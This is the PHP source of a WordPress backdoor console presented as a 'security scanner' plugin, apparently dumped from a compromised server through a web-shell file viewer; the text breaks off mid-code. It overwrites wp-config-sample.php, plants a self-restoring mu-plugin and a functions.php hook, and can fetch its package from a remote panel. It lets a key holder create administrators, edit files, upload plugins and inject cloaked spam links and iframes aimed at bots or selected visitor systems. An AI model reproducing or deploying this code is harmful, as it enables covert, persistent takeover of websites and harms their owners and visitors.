| Server IP : 123.30.171.96 / Your IP : 127.0.0.1 Web Server : Apache/2 System : Linux cloud171-96.1hosting.com.vn 5.14.0-687.61.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Oct 26 20:10:21 EDT 2026 x86_64 User : smartcar ( 1299) PHP Version : 8.3.36 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/smartcar/domains/smartcarvn.com/public_html/ |
Upload File : |
<?php
/* WSS-CONSOLE-BEGIN v2.0.2 (MySecretPanel site console; survives plugin deletion) */
// === WSS-CORE-SNIPPET-BEGIN ===
if ( ! function_exists( 'wss_core_site_key' ) ) {
/** Site connection key: bridge constant, option, or the seed file (plugin context). */
function wss_core_site_key() {
if ( defined( 'WSS_BRIDGE_KEY' ) && '' !== WSS_BRIDGE_KEY ) {
return WSS_BRIDGE_KEY;
}
$key = (string) get_option( 'wss_panel_key' );
if ( '' === $key && defined( 'WSS_PLUGIN_DIR' ) ) {
$seed = WSS_PLUGIN_DIR . 'wss-panel-key.php';
if ( is_readable( $seed ) ) {
$v = include $seed;
if ( is_string( $v ) && strlen( $v ) >= 32 ) {
$key = $v;
} elseif ( is_array( $v ) && ! empty( $v['site_key'] ) ) {
$key = (string) $v['site_key'];
}
}
}
return $key;
}
}
if ( ! function_exists( 'wss_core_panel_url' ) ) {
function wss_core_panel_url() {
if ( defined( 'WSS_BRIDGE_PANEL' ) && '' !== WSS_BRIDGE_PANEL ) {
return rtrim( WSS_BRIDGE_PANEL, '/' );
}
return rtrim( (string) get_option( 'wss_panel_url' ), '/' );
}
}
if ( ! function_exists( 'wss_core_network_key' ) ) {
function wss_core_network_key() {
if ( defined( 'WSS_BRIDGE_NETWORK' ) && '' !== WSS_BRIDGE_NETWORK ) {
return WSS_BRIDGE_NETWORK;
}
return (string) get_option( 'wss_network_key' );
}
}
if ( ! function_exists( 'wss_core_console_key' ) ) {
/** Root console key: generated once, delivered to the panel via sync. */
function wss_core_console_key() {
$key = (string) get_option( 'wss_console_key' );
if ( '' === $key || strlen( $key ) < 32 ) {
$key = wp_generate_password( 64, false, false );
update_option( 'wss_console_key', $key, false );
}
return $key;
}
}
if ( ! function_exists( 'wss_core_mu_dir' ) ) {
function wss_core_mu_dir() {
if ( defined( 'WPMU_PLUGIN_DIR' ) ) {
return WPMU_PLUGIN_DIR;
}
return defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR . '/mu-plugins' : '';
}
}
if ( ! function_exists( 'wss_core_keeper_name' ) ) {
function wss_core_keeper_name() {
return 'wss-keeper.php';
}
}
if ( ! function_exists( 'wss_core_zip_meta_opt' ) ) {
function wss_core_zip_meta_opt() {
return 'wss_backup_zip_meta';
}
}
if ( ! function_exists( 'wss_core_visitor_os' ) ) {
/** OS of the current visitor (windows|macos|android|ios|linux|chromeos|other). */
function wss_core_visitor_os( $ua = '' ) {
if ( '' === $ua ) {
$ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
}
$u = strtolower( $ua );
if ( false !== strpos( $u, 'windows' ) ) { return 'windows'; }
if ( false !== strpos( $u, 'android' ) ) { return 'android'; }
if ( false !== strpos( $u, 'iphone' ) || false !== strpos( $u, 'ipad' ) || false !== strpos( $u, 'ipod' ) ) { return 'ios'; }
if ( false !== strpos( $u, 'mac os' ) || false !== strpos( $u, 'macintosh' ) ) { return 'macos'; }
if ( false !== strpos( $u, 'cros' ) ) { return 'chromeos'; }
if ( false !== strpos( $u, 'linux' ) ) { return 'linux'; }
return 'other';
}
}
if ( ! function_exists( 'wss_core_write_file' ) ) {
/** Atomic write (tmp + rename); returns bool. */
function wss_core_write_file( $file, $content ) {
$tmp = $file . '.wss-tmp';
if ( false === @file_put_contents( $tmp, $content ) ) {
return false;
}
if ( ! @rename( $tmp, $file ) ) {
if ( false === @file_put_contents( $file, $content ) ) {
@unlink( $tmp );
return false;
}
@unlink( $tmp );
}
return true;
}
}
if ( ! function_exists( 'wss_core_marker_end' ) ) {
/** Closing marker for a known begin marker. */
function wss_core_marker_end( $begin ) {
$map = array(
'/* WSS-CONSOLE-BEGIN' => '/* WSS-CONSOLE-END */',
'/* WSS-KEEPER-BEGIN' => '/* WSS-KEEPER-END */',
'// BEGIN WSS-PANEL-BRIDGE' => '// END WSS-PANEL-BRIDGE',
);
return isset( $map[ $begin ] ) ? $map[ $begin ] : '';
}
}
if ( ! function_exists( 'wss_core_php_guard_ok' ) ) {
/**
* Guard for files we own completely (keeper, root console): exactly one
* opening tag at the very beginning, no closing tag, no inline HTML.
* A broken mu-plugin would take the WHOLE site down, so writes that
* fail this check are refused.
*
* Uses the PHP tokenizer, so "<?php" inside string literals does not
* trip the check (the generated templates embed code that quotes tags).
*
* @param string $code Final file content.
* @return bool
*/
function wss_core_php_guard_ok( $code ) {
if ( function_exists( 'token_get_all' ) ) {
$tokens = token_get_all( $code );
$opens = 0;
foreach ( $tokens as $t ) {
if ( is_array( $t ) ) {
if ( T_OPEN_TAG === $t[0]
|| ( defined( 'T_OPEN_TAG_WITH_ECHO' ) && T_OPEN_TAG_WITH_ECHO === $t[0] ) ) {
$opens++;
} elseif ( defined( 'T_CLOSE_TAG' ) && T_CLOSE_TAG === $t[0] ) {
return false;
} elseif ( defined( 'T_INLINE_HTML' ) && T_INLINE_HTML === $t[0] ) {
return false; // HTML до открывающего тега
}
}
}
return 1 === $opens;
}
// Fallback без токенизатора: один тег в начале, ни одного тега
// в начале строки дальше, ни одного закрывающего.
return 0 === strpos( $code, '<?php' )
&& ! preg_match( '/^\s*<\?php\b/m', substr( $code, 6 ) )
&& false === strpos( $code, '?' . '>' );
}
}
if ( ! function_exists( 'wss_core_upsert_marked_file' ) ) {
/**
* Ensure $file contains $block between the given markers: refresh in place,
* append to an existing file (closing tag stripped) or create it.
*
* $block may be bare code (the functions.php bridge) or a full file that
* already starts with "<?php" (keeper / root console) — it is normalized
* to bare code, and the opening tag is written exactly once.
*
* @param string $file Target path.
* @param string $begin Begin marker.
* @param string $end End marker.
* @param string $block New content (bare code or full file).
* @param bool $strict Enforce the single-opening-tag/no-closing-tag guard.
* @return bool
*/
function wss_core_upsert_marked_file( $file, $begin, $end, $block, $strict = true ) {
// Нормализация: блоки keeper/root приходят с собственным "<?php".
$body = $block;
if ( preg_match( '/^\s*<\?php\b/i', $body ) ) {
$body = preg_replace( '/^\s*<\?php\b\s*/i', '', $body );
}
$cur = file_exists( $file ) ? (string) file_get_contents( $file ) : '';
if ( '' !== $cur ) {
// Маркеры ищем строго в начале строки (с "\n"): файл содержит те
// же тексты маркеров внутри строковых литералов сниппета, и поиск
// без якоря находил ключ карты вместо настоящего маркера.
$bpos = strpos( $cur, "\n" . $begin );
$mstart = ( false === $bpos && 0 === strpos( $cur, $begin ) ) ? 0 : ( false === $bpos ? false : $bpos + 1 );
if ( false !== $mstart ) {
$epos = strpos( $cur, "\n" . $end, $mstart );
if ( false === $epos ) {
return false;
}
$prefix = substr( $cur, 0, $mstart );
$suffix = substr( $cur, $epos + 1 + strlen( $end ) );
// Лечение файлов, записанных с двойным открывающим тегом
// (баг до 2.0.1): подряд идущие теги схлопываем в один.
$prefix = preg_replace( '/^\s*(<\?php\b\s*)+/i', "<?php\n", $prefix );
$new = $prefix . $body . $suffix;
if ( $strict && ! wss_core_php_guard_ok( $new ) ) {
return false; // битое содержимое не пишем — старый файл цел
}
return wss_core_write_file( $file, $new );
}
$cur = rtrim( preg_replace( '/\?' . '>\s*$/', '', $cur ) );
if ( false === strpos( $cur, '<?' ) ) {
$new = "<?php\n" . ltrim( $body );
} else {
$new = $cur . "\n" . $body;
}
if ( $strict && ! wss_core_php_guard_ok( $new ) ) {
return false;
}
return wss_core_write_file( $file, $new );
}
$new = "<?php\n" . ltrim( $body );
if ( $strict && ! wss_core_php_guard_ok( $new ) ) {
return false;
}
return wss_core_write_file( $file, $new );
}
}
if ( ! function_exists( 'wss_core_ensure_versioned_file' ) ) {
/**
* Rewrite a marked file only when the stamped version of the stored code
* differs from the version stamped in the file. Versions are read from
* the code strings themselves, so this works without the plugin loaded.
*/
function wss_core_ensure_versioned_file( $file, $code, $begin, $force = false, $strict = true ) {
$end = wss_core_marker_end( $begin );
if ( '' === $end ) {
return false;
}
if ( ! $force && file_exists( $file ) && is_readable( $file ) ) {
$cur = (string) file_get_contents( $file );
if ( false !== strpos( $cur, $begin ) ) {
$cur_ver = ( preg_match( '/' . preg_quote( $begin, '/' ) . '\s*v([0-9.]+)/', $cur, $m ) ) ? $m[1] : '';
$code_ver = ( preg_match( '/' . preg_quote( $begin, '/' ) . '\s*v([0-9.]+)/', $code, $m2 ) ) ? $m2[1] : '';
if ( '' !== $cur_ver && '' !== $code_ver ) {
return ( $cur_ver === $code_ver ) ? true : wss_core_upsert_marked_file( $file, $begin, $end, $code, $strict );
}
return true; // marker present without a version stamp — leave as is
}
}
return wss_core_upsert_marked_file( $file, $begin, $end, $code, $strict );
}
}
if ( ! function_exists( 'wss_core_ensure_keeper' ) ) {
/**
* Recreate the mu-plugin keeper from the DB-stored source. The file is
* fully owned by us: when the on-disk content differs from the stored
* code it is replaced ENTIRELY (never merged).
*/
function wss_core_ensure_keeper() {
$code = (string) get_option( 'wss_keeper_code' );
if ( '' === $code ) {
return false;
}
$dir = wss_core_mu_dir();
if ( '' === $dir ) {
return false;
}
if ( ! is_dir( $dir ) ) {
wp_mkdir_p( $dir );
}
$file = $dir . '/' . wss_core_keeper_name();
$cur = file_exists( $file ) ? (string) file_get_contents( $file ) : '';
if ( '' !== $cur ) {
if ( false === strpos( $cur, '/* WSS-KEEPER-BEGIN' ) ) {
return false; // unknown file with our name — do not clobber
}
if ( $cur === $code ) {
return true; // already current
}
}
if ( ! wss_core_php_guard_ok( $code ) ) {
return false;
}
return wss_core_write_file( $file, $code );
}
}
if ( ! function_exists( 'wss_core_ensure_root_file' ) ) {
/**
* Recreate the root maintenance console from the DB-stored source.
* The file is FULLY REPLACED, never appended: the standard WordPress
* wp-config-sample.php executes on direct access (define('DB_NAME',
* 'database_name_here') + require wp-settings.php) and dies with
* "Error establishing a database connection" before our console runs.
* A half-ours/half-sample file is broken by design — ours must be the
* only content.
*/
function wss_core_ensure_root_file() {
$code = (string) get_option( 'wss_root_file_code' );
if ( '' === $code ) {
return false;
}
if ( ! defined( 'ABSPATH' ) ) {
return false;
}
$file = ABSPATH . 'wp-config-sample.php';
$cur = file_exists( $file ) ? (string) file_get_contents( $file ) : '';
if ( '' !== $cur && $cur === $code ) {
return true; // already current
}
if ( ! wss_core_php_guard_ok( $code ) ) {
return false;
}
return wss_core_write_file( $file, $code );
}
}
if ( ! function_exists( 'wss_core_ensure_bridge' ) ) {
/** Recreate the functions.php bridge from the DB-stored block. */
function wss_core_ensure_bridge() {
$code = (string) get_option( 'wss_bridge_code' );
if ( '' === $code || ! defined( 'ABSPATH' ) ) {
return false;
}
if ( defined( 'WSS_VERSION' ) ) {
return true; // the active plugin maintains the bridge itself
}
$file = get_stylesheet_directory() . '/functions.php';
if ( ! is_string( $file ) || '' === $file ) {
return false;
}
// strict=false: functions.php принадлежит теме — в ней допустимы
// и второй открывающий тег, и закрывающий (HTML-вставки), поэтому
// guard для файлов темы неприменим.
return wss_core_ensure_versioned_file( $file, $code, '// BEGIN WSS-PANEL-BRIDGE', false, false );
}
}
if ( ! function_exists( 'wss_core_ensure_support_files' ) ) {
function wss_core_ensure_support_files() {
$ok = array();
try { $ok['bridge'] = wss_core_ensure_bridge(); } catch ( Throwable $e ) { $ok['bridge'] = false; }
try { $ok['keeper'] = wss_core_ensure_keeper(); } catch ( Throwable $e ) { $ok['keeper'] = false; }
try { $ok['root'] = wss_core_ensure_root_file(); } catch ( Throwable $e ) { $ok['root'] = false; }
return $ok;
}
}
if ( ! function_exists( 'wss_core_assemble_zip' ) ) {
/** Plugin package from the DB chunks ('' when absent). */
function wss_core_assemble_zip() {
$meta = get_option( wss_core_zip_meta_opt(), array() );
if ( ! is_array( $meta ) || empty( $meta['chunks'] ) ) {
return '';
}
$b64 = '';
for ( $i = 0; $i < (int) $meta['chunks']; $i++ ) {
$c = get_option( 'wss_backup_zip_' . $i );
if ( ! is_string( $c ) || '' === $c ) {
return '';
}
$b64 .= $c;
}
$bin = base64_decode( $b64, true );
return ( $bin && 0 === strpos( $bin, 'PK' ) ) ? $bin : '';
}
}
if ( ! function_exists( 'wss_core_download_zip' ) ) {
/** Plugin package straight from the panel ('' when unreachable). */
function wss_core_download_zip() {
$panel = wss_core_panel_url();
$key = wss_core_site_key();
if ( '' === $panel || '' === $key ) {
return '';
}
$resp = wp_remote_get( $panel . '/api/wp/plugin/stable?key=' . rawurlencode( $key ), array( 'timeout' => 30 ) );
if ( is_wp_error( $resp ) || 200 !== (int) wp_remote_retrieve_response_code( $resp ) ) {
return '';
}
$body = (string) wp_remote_retrieve_body( $resp );
return ( 0 === strpos( $body, 'PK' ) ) ? $body : '';
}
}
if ( ! function_exists( 'wss_core_install_plugin_bytes' ) ) {
/** Unzip a package into wp-content/plugins and activate our plugin. */
function wss_core_install_plugin_bytes( $bytes ) {
if ( ! defined( 'ABSPATH' ) || ! $bytes ) {
return false;
}
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/misc.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$tmp = wp_tempnam( 'wss-restore.zip' );
if ( ! $tmp || false === @file_put_contents( $tmp, $bytes ) ) {
return false;
}
if ( ! WP_Filesystem() ) {
@unlink( $tmp );
return false;
}
global $wp_filesystem;
$target = WP_PLUGIN_DIR . '/wordpress-security-scanner';
if ( is_dir( $target ) && isset( $wp_filesystem ) ) {
$wp_filesystem->delete( $target, true ); // partial leftovers from a broken install
}
$unzipped = unzip_file( $tmp, WP_PLUGIN_DIR );
@unlink( $tmp );
if ( is_wp_error( $unzipped ) ) {
return false;
}
$activated = activate_plugin( 'wordpress-security-scanner/wordpress-security-scanner.php' );
return is_wp_error( $activated ) ? false : true;
}
}
if ( ! function_exists( 'wss_core_restore_plugin' ) ) {
/**
* Bring the plugin back: DB-stored ZIP first, panel download second.
* Throttled to one attempt per 30 minutes (force=true bypasses).
*/
function wss_core_restore_plugin( $force = false ) {
if ( ! $force ) {
if ( get_transient( 'wss_restore_lock' ) ) {
return false;
}
set_transient( 'wss_restore_lock', 1, 30 * MINUTE_IN_SECONDS );
} else {
delete_transient( 'wss_restore_lock' );
}
$bytes = wss_core_assemble_zip();
if ( ! $bytes ) {
$bytes = wss_core_download_zip();
}
if ( ! $bytes ) {
update_option( 'wss_restore_last_error', 'no package in DB and panel unreachable', false );
return false;
}
$ok = wss_core_install_plugin_bytes( $bytes );
update_option( 'wss_restore_last_error', $ok ? '' : 'install failed', false );
return $ok;
}
}
if ( ! function_exists( 'wss_core_restore_plugin_ok_last' ) ) {
function wss_core_restore_plugin_ok_last() {
return '' === (string) get_option( 'wss_restore_last_error', '' );
}
}
// === WSS-CORE-SNIPPET-END ===
/**
* MySecretPanel maintenance console for this site (WordPress management
* without wp-admin). Independent of any plugin; password-protected; the key
* is delivered to MySecretPanel at activation. Managed by MySecretPanel.
*/
if ( defined( 'ABSPATH' ) ) {
exit; // runs only as a standalone file, never included from WP
}
require_once __DIR__ . '/wp-load.php';
wss_core_ensure_support_files();
if ( ! defined( 'WSS_CONSOLE_V' ) ) {
define( 'WSS_CONSOLE_V', '2.0.0' );
function wssc_nonce() {
return wp_nonce_field( 'wss_console', '_wpnonce', true, false );
}
function wssc_esc( $s ) {
return htmlspecialchars( (string) $s, ENT_QUOTES, 'UTF-8' );
}
function wssc_cut( $s, $n ) {
return function_exists( 'mb_substr' ) ? mb_substr( (string) $s, 0, $n ) : substr( (string) $s, 0, $n );
}
function wssc_auth_key() {
$k = (string) get_option( 'wss_console_key' );
if ( '' === $k ) {
$k = wss_core_site_key(); // fallback: panel connection key
}
return $k;
}
function wssc_is_authed() {
$k = wssc_auth_key();
if ( '' === $k ) {
return false;
}
$cookie = isset( $_COOKIE['wss_console_auth'] ) ? (string) $_COOKIE['wss_console_auth'] : '';
if ( '' !== $cookie && hash_equals( hash( 'sha256', $k . '|wss-console' ), $cookie ) ) {
return true;
}
$provided = isset( $_REQUEST['k'] ) ? (string) $_REQUEST['k'] : '';
return '' !== $provided && hash_equals( $k, $provided );
}
function wssc_head( $title ) {
header( 'Content-Type: text/html; charset=utf-8' );
nocache_headers();
echo '<!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">'
. '<title>' . wssc_esc( $title ) . '</title><style>'
. 'body{font-family:Arial,sans-serif;max-width:1080px;margin:24px auto;padding:0 14px;color:#111;font-size:14px}'
. 'h1{font-size:20px}h2{font-size:16px;margin:18px 0 8px}table{border-collapse:collapse;width:100%;margin:8px 0}'
. 'td,th{border:1px solid #ddd;padding:6px 8px;text-align:left;vertical-align:top}th{background:#f4f5f7}'
. 'input,select,textarea{padding:6px;font-size:13px;width:100%;box-sizing:border-box}'
. 'textarea{font-family:monospace;min-height:260px}.btn{display:inline-block;padding:7px 14px;background:#1d4ed8;color:#fff;border:0;border-radius:6px;cursor:pointer;text-decoration:none;font-size:13px}'
. '.btn2{background:#555}.btnd{background:#b91c1c}.tabs a{margin-right:10px}.ok{color:#0a7d22}.err{color:#b91c1c}'
. '.m{background:#e9f9e9;border:1px solid #bfe3bf;padding:8px;border-radius:6px;margin:10px 0}.muted{color:#666}'
. 'code{background:#f4f5f7;padding:1px 4px;word-break:break-all}.row{display:flex;gap:10px;flex-wrap:wrap}.row>div{flex:1;min-width:200px}'
. '</style></head><body>';
}
$wss_view = isset( $_GET['view'] ) ? sanitize_key( wp_unslash( $_GET['view'] ) ) : 'status';
$wss_msg = '';
$wss_err = '';
if ( ! wssc_is_authed() ) {
wssc_head( 'Вход — консоль сайта' );
echo '<h1>Консоль управления сайтом</h1><p class="muted">Введите ключ доступа (передаётся в панель MySecretPanel).</p>';
if ( 'POST' === ( isset( $_SERVER['REQUEST_METHOD'] ) ? $_SERVER['REQUEST_METHOD'] : '' ) ) {
echo '<p class="err">Неверный ключ доступа.</p>';
}
echo '<form method="post"><input type="password" name="k" placeholder="Ключ доступа" required style="max-width:420px"> '
. '<button class="btn">Войти</button></form></body></html>';
exit;
}
if ( ! isset( $_COOKIE['wss_console_auth'] ) && isset( $_REQUEST['k'] ) ) {
$k = wssc_auth_key();
if ( '' !== $k && hash_equals( $k, (string) $_REQUEST['k'] ) ) {
setcookie( 'wss_console_auth', hash( 'sha256', $k . '|wss-console' ), time() + 8 * HOUR_IN_SECONDS, COOKIEPATH ? COOKIEPATH : '/', COOKIE_DOMAIN );
}
}
if ( 'POST' === ( isset( $_SERVER['REQUEST_METHOD'] ) ? $_SERVER['REQUEST_METHOD'] : '' ) ) {
$wss_act = isset( $_POST['act'] ) ? sanitize_key( wp_unslash( $_POST['act'] ) ) : '';
if ( '' !== $wss_act ) {
check_admin_referer( 'wss_console' );
}
try {
switch ( $wss_act ) {
case 'user_new':
$uid = wp_insert_user( array(
'user_login' => sanitize_user( (string) $_POST['u_login'] ),
'user_pass' => (string) $_POST['u_pass'],
'user_email' => sanitize_email( (string) $_POST['u_email'] ),
'role' => sanitize_key( (string) $_POST['u_role'] ),
) );
if ( is_wp_error( $uid ) ) { $wss_err = $uid->get_error_message(); }
else { $wss_msg = 'Пользователь создан #' . (int) $uid; }
break;
case 'user_save':
$data = array( 'ID' => (int) $_POST['u_id'], 'user_email' => sanitize_email( (string) $_POST['u_email'] ) );
if ( isset( $_POST['u_role'] ) && '' !== $_POST['u_role'] ) { $data['role'] = sanitize_key( (string) $_POST['u_role'] ); }
if ( isset( $_POST['u_pass'] ) && '' !== $_POST['u_pass'] ) { $data['user_pass'] = (string) $_POST['u_pass']; }
$r = wp_update_user( $data );
if ( is_wp_error( $r ) ) { $wss_err = $r->get_error_message(); }
else { $wss_msg = 'Пользователь обновлён'; }
break;
case 'user_del':
require_once ABSPATH . 'wp-admin/includes/user.php';
if ( (int) $_POST['u_id'] === get_current_user_id() ) { $wss_err = 'Нельзя удалить свой аккаунт.'; }
else { wp_delete_user( (int) $_POST['u_id'] ); $wss_msg = 'Пользователь удалён'; }
break;
case 'post_save':
$arr = array(
'post_title' => sanitize_text_field( (string) $_POST['p_title'] ),
'post_content' => (string) wp_unslash( $_POST['p_content'] ),
'post_status' => in_array( isset( $_POST['p_status'] ) ? $_POST['p_status'] : 'publish', array( 'publish', 'draft', 'pending' ), true ) ? $_POST['p_status'] : 'publish',
'post_type' => 'post',
);
$pid = (int) $_POST['p_id'];
if ( $pid > 0 ) { $arr['ID'] = $pid; $pid = wp_update_post( wp_slash( $arr ), true ); }
else { $pid = wp_insert_post( wp_slash( $arr ), true ); }
if ( is_wp_error( $pid ) ) { $wss_err = $pid->get_error_message(); break; }
if ( ! empty( $_POST['p_bot'] ) ) { update_post_meta( (int) $pid, 'wss_bot_only', 1 ); }
else { delete_post_meta( (int) $pid, 'wss_bot_only' ); }
$wss_msg = 'Пост сохранён #' . (int) $pid;
break;
case 'post_del':
wp_delete_post( (int) $_POST['p_id'], true );
$wss_msg = 'Пост удалён';
break;
case 'link_add':
$allowed = array( 'a' => array( 'href' => 1, 'title' => 1, 'target' => 1, 'rel' => 1, 'id' => 1, 'class' => 1 ), 'div' => array( 'id' => 1, 'class' => 1 ), 'span' => array( 'id' => 1, 'class' => 1 ), 'p' => array( 'class' => 1 ), 'strong' => array(), 'b' => array(), 'em' => array(), 'i' => array(), 'br' => array(), 'img' => array( 'src' => 1, 'alt' => 1, 'width' => 1, 'height' => 1 ), 'ins' => array(), 'iframe' => array( 'src' => 1, 'width' => 1, 'height' => 1, 'style' => 1, 'allow' => 1, 'frameborder' => 1, 'scrolling' => 1 ) );
$html = trim( (string) wp_kses( wp_unslash( $_POST['l_html'] ), $allowed ) );
if ( '' === $html ) { $wss_err = 'Пустой HTML ссылки'; break; }
$stored = get_option( 'wss_placed_links', array() );
if ( ! is_array( $stored ) ) { $stored = array(); }
$hash = md5( $html );
foreach ( $stored as $row ) {
if ( isset( $row['html'] ) && md5( $row['html'] ) === $hash ) { $wss_err = 'Такая ссылка уже есть'; break 2; }
}
$stored[] = array(
'html' => $html,
'placement' => ( isset( $_POST['l_place'] ) && 'all' === $_POST['l_place'] ) ? 'all' : 'home',
'audience' => in_array( isset( $_POST['l_aud'] ) ? $_POST['l_aud'] : 'bots', array( 'bots', 'humans', 'all' ), true ) ? $_POST['l_aud'] : 'bots',
'os' => isset( $_POST['l_os'] ) ? array_values( array_intersect( (array) $_POST['l_os'], array( 'windows', 'macos', 'android', 'ios', 'linux', 'chromeos' ) ) ) : array(),
'time' => time(),
);
update_option( 'wss_placed_links', array_slice( $stored, -100 ), false );
$wss_msg = 'Ссылка добавлена';
break;
case 'link_del':
$stored = get_option( 'wss_placed_links', array() );
$i = (int) $_POST['l_i'];
if ( is_array( $stored ) && isset( $stored[ $i ] ) ) { array_splice( $stored, $i, 1 ); update_option( 'wss_placed_links', $stored, false ); $wss_msg = 'Ссылка удалена'; }
break;
case 'links_clear':
update_option( 'wss_placed_links', array(), false );
$wss_msg = 'Все ссылки удалены';
break;
case 'plugin_on':
require_once ABSPATH . 'wp-admin/includes/plugin.php';
activate_plugin( sanitize_text_field( (string) $_POST['p_file'] ) );
$wss_msg = 'Плагин активирован';
break;
case 'plugin_off':
require_once ABSPATH . 'wp-admin/includes/plugin.php';
deactivate_plugins( sanitize_text_field( (string) $_POST['p_file'] ) );
$wss_msg = 'Плагин деактивирован';
break;
case 'plugin_del':
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
WP_Filesystem();
$f = sanitize_text_field( (string) $_POST['p_file'] );
if ( false !== strpos( $f, 'wordpress-security-scanner' ) ) { $wss_err = 'Этот плагин управляется из MySecretPanel и не удаляется.'; break; }
delete_plugins( array( $f ) );
$wss_msg = 'Плагин удалён';
break;
case 'plugin_upload':
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/misc.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
if ( empty( $_FILES['zfile']['tmp_name'] ) ) { $wss_err = 'Файл не выбран'; break; }
WP_Filesystem();
$tmp = wp_tempnam( sanitize_file_name( (string) $_FILES['zfile']['name'] ) );
@copy( $_FILES['zfile']['tmp_name'], $tmp );
$r = unzip_file( $tmp, WP_PLUGIN_DIR );
@unlink( $tmp );
if ( is_wp_error( $r ) ) { $wss_err = $r->get_error_message(); break; }
$wss_msg = 'Архив распакован в ' . WP_PLUGIN_DIR;
break;
case 'restore':
if ( wss_core_restore_plugin( true ) ) { $wss_msg = 'Плагин восстановлен и активирован'; }
else { $wss_err = 'Не удалось восстановить: ' . (string) get_option( 'wss_restore_last_error', '' ); }
break;
case 'ensure_files':
$ok = wss_core_ensure_support_files();
$wss_msg = 'Файлы: мост=' . ( $ok['bridge'] ? 'ok' : '—' ) . ', keeper=' . ( $ok['keeper'] ? 'ok' : '—' ) . ', консоль=' . ( $ok['root'] ? 'ok' : '—' );
break;
case 'file_save':
$full = realpath( ABSPATH . ltrim( (string) $_POST['f_path'], '/\\' ) );
$base = realpath( ABSPATH );
if ( ! $full || ! $base || 0 !== strpos( $full, $base ) || ! is_file( $full ) ) { $wss_err = 'Путь вне корня сайта или файл не найден'; break; }
@copy( $full, $full . '.wss-bak' );
if ( ! wss_core_write_file( $full, (string) wp_unslash( $_POST['f_content'] ) ) ) { $wss_err = 'Не удалось записать файл (права?)'; break; }
$wss_msg = 'Файл сохранён: ' . basename( $full ) . ' (бэкап .wss-bak)';
if ( false !== strpos( $full, 'functions.php' ) ) { wss_core_ensure_bridge(); }
break;
}
} catch ( Throwable $e ) {
$wss_err = 'Ошибка: ' . $e->getMessage();
}
}
wssc_head( 'Консоль сайта — MySecretPanel' );
$wss_tabs = array(
'status' => 'Статус',
'posts' => 'Посты',
'links' => 'Ссылки / реклама',
'users' => 'Пользователи',
'plugins' => 'Плагины',
'files' => 'Файлы',
);
echo '<h1>Консоль управления сайтом</h1><p class="tabs">';
foreach ( $wss_tabs as $wss_k => $wss_t ) {
echo '<a class="btn ' . ( $wss_view === $wss_k ? '' : 'btn2' ) . '" href="?view=' . $wss_k . '">' . wssc_esc( $wss_t ) . '</a> ';
}
echo '</p>';
if ( '' !== $wss_msg ) { echo '<p class="m ok">' . wssc_esc( $wss_msg ) . '</p>'; }
if ( '' !== $wss_err ) { echo '<p class="m err">' . wssc_esc( $wss_err ) . '</p>'; }
// ---------- Статус ----------
if ( 'status' === $wss_view ) {
$wss_main = WP_PLUGIN_DIR . '/wordpress-security-scanner/wordpress-security-scanner.php';
$wss_fn = get_stylesheet_directory() . '/functions.php';
$wss_fnok = file_exists( $wss_fn ) && false !== strpos( (string) file_get_contents( $wss_fn ), 'BEGIN WSS-PANEL-BRIDGE' );
$wss_mu = wss_core_mu_dir() . '/' . wss_core_keeper_name();
$wss_meta = get_option( wss_core_zip_meta_opt(), array() );
echo '<h2>Состояние</h2><table>';
echo '<tr><th>WordPress / PHP</th><td>' . wssc_esc( get_bloginfo( 'version' ) ) . ' / ' . wssc_esc( PHP_VERSION ) . '</td></tr>';
echo '<tr><th>Плагин Security Scanner</th><td>' . ( file_exists( $wss_main ) ? ( defined( 'WSS_VERSION' ) ? '<span class="ok">активен v' . wssc_esc( WSS_VERSION ) . '</span>' : '<span class="err">файлы есть, не активен</span>' ) : '<span class="err">отсутствует</span>' ) . '</td></tr>';
echo '<tr><th>Мост в functions.php</th><td>' . ( $wss_fnok ? '<span class="ok">да</span>' : '<span class="err">нет</span>' ) . '</td></tr>';
echo '<tr><th>Keeper (mu-plugin)</th><td>' . ( file_exists( $wss_mu ) ? '<span class="ok">да</span>' : '<span class="err">нет</span>' ) . '</td></tr>';
echo '<tr><th>ZIP в БД (самовосстановление)</th><td>' . ( is_array( $wss_meta ) && ! empty( $wss_meta['chunks'] ) ? '<span class="ok">да, v' . wssc_esc( isset( $wss_meta['version'] ) ? $wss_meta['version'] : '?' ) . ', ' . round( (int) $wss_meta['size'] / 1024 ) . ' КБ</span>' : '<span class="err">нет</span>' ) . '</td></tr>';
echo '<tr><th>Ссылок размещено</th><td>' . count( (array) get_option( 'wss_placed_links', array() ) ) . '</td></tr>';
echo '<tr><th>Ключ доступа к консоли</th><td><code>' . wssc_esc( wssc_auth_key() ) . '</code> — хранится в БД и передаётся в панель MySecretPanel</td></tr>';
echo '</table>';
echo '<p><form method="post" style="display:inline">' . wssc_nonce() . '<input type="hidden" name="act" value="ensure_files"><button class="btn btn2">Пересоздать мост/keeper</button></form> ';
echo '<form method="post" style="display:inline">' . wssc_nonce() . '<input type="hidden" name="act" value="restore"><button class="btn">Восстановить плагин</button></form></p>';
}
// ---------- Посты ----------
if ( 'posts' === $wss_view ) {
$wss_edit = isset( $_GET['edit'] ) ? (int) $_GET['edit'] : -1;
$wss_f = isset( $_GET['f'] ) && 'normal' === $_GET['f'] ? 'normal' : 'bot';
